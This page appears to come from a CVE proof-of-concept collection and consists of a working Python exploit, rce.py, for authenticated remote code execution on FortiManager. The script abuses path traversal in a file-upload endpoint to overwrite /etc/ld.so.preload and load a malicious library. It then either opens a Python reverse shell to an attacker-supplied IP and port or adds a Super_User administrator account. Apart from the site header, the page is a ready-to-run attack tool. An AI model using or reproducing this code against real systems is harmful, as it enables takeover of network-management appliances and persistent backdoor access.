4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rce.py PY
#!/usr/bin/python3

import argparse
import os
from base64 import b64encode
from hashlib import sha256
from secrets import token_bytes
from urllib3.exceptions import InsecureRequestWarning

import requests


class FortiManagerRCE:

    def __init__(self, host, user, password, lib_path, verify=True):
        self.host = host
        self.user = user
        self.password = password
        self.lib_path = lib_path
        self.verify = verify

        if not verify:
            requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

        self.session = requests.session()

    def login(self):
        login_request = {
            'url': '/gui/userauth',
            'method': 'login',
            'params': {
                'username': self.user,
                'secretkey': self.password,
                'logintype': 0
                }
            }
        
        print('[+] Login to the FortiManager')
        r = self.session.post(f'https://{self.host}/cgi-bin/module/flatui_auth', json=login_request, verify=self.verify)
        
        res = r.status_code == 200
        if not res:
            print('[-] Failed to login')
        
        return res

    def upload_file(self, destination_path, content):
        size = len(content)
        
        if not destination_path.startswith('/'):
            destination_path = '/' + destination_path 
        
        upload_request = {
            'folder': (None, 'upload'),
            'filesize': (None, size),
            'filename': (None, '../../../../..' +  destination_path),
            'range': (None, f'0-{size}'),
            'filepath': ('file', content)
        }
        
        print(f'[+] Uploading {destination_path}')
        r = self.session.post(f'https://{self.host}/flatui/api/gui/upload', files=upload_request, verify=self.verify)
        
        res = r.status_code == 200
        if not res:
            print(f'[-] Failed to upload {destination_path}')
        
        return res

    def logout(self):
        print('[+] Login out of the FortiManager to trigger the RCE')
        r = self.session.get(f'https://{self.host}/p/logout/?host={self.host}', verify=self.verify)

        res = r.status_code == 200
        if not res:
            print('[-] Failed to log out')
        
        return res
    
    def fortinet_hash(self, password):
        fortinet_magic = b'\xa3\x88\xba\x2e\x42\x4c\xb0\x4a\x53\x79\x30\xc1\x31\x07\xcc\x3f\xa1\x32\x90\x29\xa9\x81\x5b\x70'
        salt = token_bytes(12)

        alg = sha256()
        alg.update(salt + password.encode('utf-8') + fortinet_magic)

        return 'SH2' + b64encode(salt + alg.digest()).decode('utf-8')
    
    def trigger_rce(self):
        # Uploading the library
        with open(self.lib_path, 'rb') as f:
            content = f.read()
        if not self.upload_file('/rce.so', content):
            return

        # Modifying /etc/ld.so.preload to make reference to /rce.so
        if not self.upload_file('/etc/ld.so.preload', '/rce.so'):
            return
        
        if not self.logout():
            return

    def rev_shell(self, dest_ip, dest_port):
        if not self.login():
            return
        
        # Creating the bash script that will be triggered by the malicious library
        rce_script = f"/usr/bin/python -c 'import socket,os,pty;s=socket.socket();s.connect((\"{dest_ip}\",{dest_port}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"
        if not self.upload_file('/rce.sh', rce_script):
            return
        
        self.trigger_rce()

    def create_user(self, username, password):
        if not self.login():
            return
        
        # Creating the instruction script that will create the user
        fortios_instructions = f"config system admin user\nedit '{username}'\nset password ENC {self.fortinet_hash(password)}\nset profileid 'Super_User'\nset adom-access all\nnext\nend"
        if not self.upload_file('/create_user.txt', fortios_instructions):
            return

        # Creating the bash script that will be triggered by the malicious library
        rce_script = '/bin/cat /create_user.txt | /bin/cli'
        if not self.upload_file('/rce.sh', rce_script):
            return
        
        self.trigger_rce()


def main():

    parser = argparse.ArgumentParser()

    parser.add_argument('-k', '--insecure', action='store_true', help='Do not check the remote host certificate (default: False)')
    parser.add_argument('-l', '--library', help='Malicious library path (default: /tmp/rce.so)')

    parser.add_argument('connection', help='User, password, and host (user:password@host)')

    subparsers = parser.add_subparsers(title='Action to run', dest='action')

    parser_revshell = subparsers.add_parser('revshell', help='Run a Python reverse shell')
    parser_revshell.add_argument('ip', help='Destination IP for the reverse shell')
    parser_revshell.add_argument('port', help='Destination port for the reverse shell')

    parser_adduser = subparsers.add_parser('adduser', help='Create a new administrator')
    parser_adduser.add_argument('username', help='Username of the user to create')
    parser_adduser.add_argument('password', help='Password of the user to create')

    args = parser.parse_args()

    # Supporting passwords containing @ and : is left as an exercise to the reader :D 
    connection_parts = args.connection.split('@')
    if len(connection_parts) != 2:
        parser.error('Invalid connection format. Please use "user:password@host".')
    user_password, host = connection_parts
    user_password_parts = user_password.split(':')
    if len(user_password_parts) != 2:
        parser.error('Invalid user:password format. Please use "user:password@host".')
    
    user, password = user_password_parts

    library = args.library
    if library is None:
        library = '/tmp/library.so'
    
    if not os.path.isfile(library):
        parser.error(f'Invalid library path: the file does not exist ({library}).')
    
    verify = not args.insecure
    
    manager_rce = FortiManagerRCE(host, user, password, library, verify=verify)

    if args.action == 'revshell':
        manager_rce.rev_shell(args.ip, args.port)
        
    elif args.action == 'adduser':
        manager_rce.create_user(args.username, args.password)


if __name__ == '__main__':
    main()